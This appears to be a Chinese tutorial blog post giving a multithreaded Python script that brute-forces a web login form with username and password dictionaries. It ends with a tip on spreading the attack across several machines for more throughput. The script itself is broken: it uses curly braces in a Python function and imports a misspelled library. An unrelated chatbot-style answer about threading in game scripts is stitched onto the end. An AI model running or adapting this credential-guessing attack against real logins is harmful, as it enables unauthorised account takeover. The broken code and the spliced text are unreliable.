Python脚本9-多线程分任务爆破

多线程分任务爆破

import hashlib, time, request
import threading


def ws_thread_10(sublist){
    with open('../dict/password-top6000.txt') as file:
        pw_list = file.readlines()

    url = 'http://192.168.122.130/login'

    for username in sublist:
        for password in pw_list:
            data = {'username':username.strip(),'password':password.strip(),'verifycode':'0000'}
            resp=request.post(url=url,data=data)
            if 'login-fail' not in resp.text:
                print(f"疑似破解成功,账号为:{username.strip()},密码为:{password.strip()}")
                exit()

}

if __name__ =='__main__':
    with open('../dict/username-top500.txt') as file:
        user_list = file.readlines();
        
    for i in range(0,len(user_list),10):
        sublist = user_list[i:i+10]
        threading.Thread(target = ws_thread_10,args=(sublist,)).start()

补充:
一个进程的线程数量有限,如何能够提升并发能力?将任务分配给多个不同的电脑, 或在一台电脑上运行多个程序。

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嗨!很高兴回答你关于Python游戏脚本入门的问题。在Python中,多线程是一种并发处理的技术,它允许程序同时执行多个线程,从而提高程序的运行效率和响应能力。在游戏开发中,多线程可以用于处理游戏中的多个任务或实现并行计算。 要在Python中使用多线程,可以使用内置的`threading`模块。下面是一个简单的示例,演示如何在Python中创建和启动多个线程: ```python import threading def task(): # 这里是线程要执行的任务 print("Hello, I'm running in a thread!") # 创建线程对象 thread1 = threading.Thread(target=task) thread2 = threading.Thread(target=task) # 启动线程 thread1.start() thread2.start() ``` 在上面的示例中,我们首先定义了一个`task`函数,这是线程要执行的具体任务。然后,我们使用`threading.Thread`类创建了两个线程对象`thread1`和`thread2`,并将`task`函数作为参数传递给它们。最后,我们调用`start`方法来启动这两个线程。 多线程的执行是并发的,所以你可能会看到输出信息交替出现。在实际的游戏开发中,你可以利用多线程来处理不同的游戏逻辑、计算复杂的物理模拟或者处理网络通信等任务,从而提升游戏的性能和玩家体验。 但是需要注意的是,多线程编程需要注意线程之间的同步和资源竞争问题。在游戏开发中,你可能需要使用锁和同步原语来确保线程之间的安全操作。 希望这个简单的介绍对你有所帮助!如果你有任何其他问题,请随时提问。

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